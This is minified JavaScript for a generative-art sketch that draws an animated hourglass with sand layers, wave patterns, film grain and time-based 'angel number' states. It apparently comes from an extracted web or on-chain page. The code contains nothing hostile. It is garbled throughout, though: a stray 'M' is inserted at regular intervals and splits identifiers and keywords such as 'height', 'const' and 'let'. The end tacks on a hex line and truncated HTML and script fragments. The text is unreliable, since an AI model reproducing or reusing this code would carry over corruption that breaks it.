t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
IjGREFUND:1BEA17861D1BE91F6B341270286B2F757510ADD8660B93AB5C813B96B4E71D7D
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
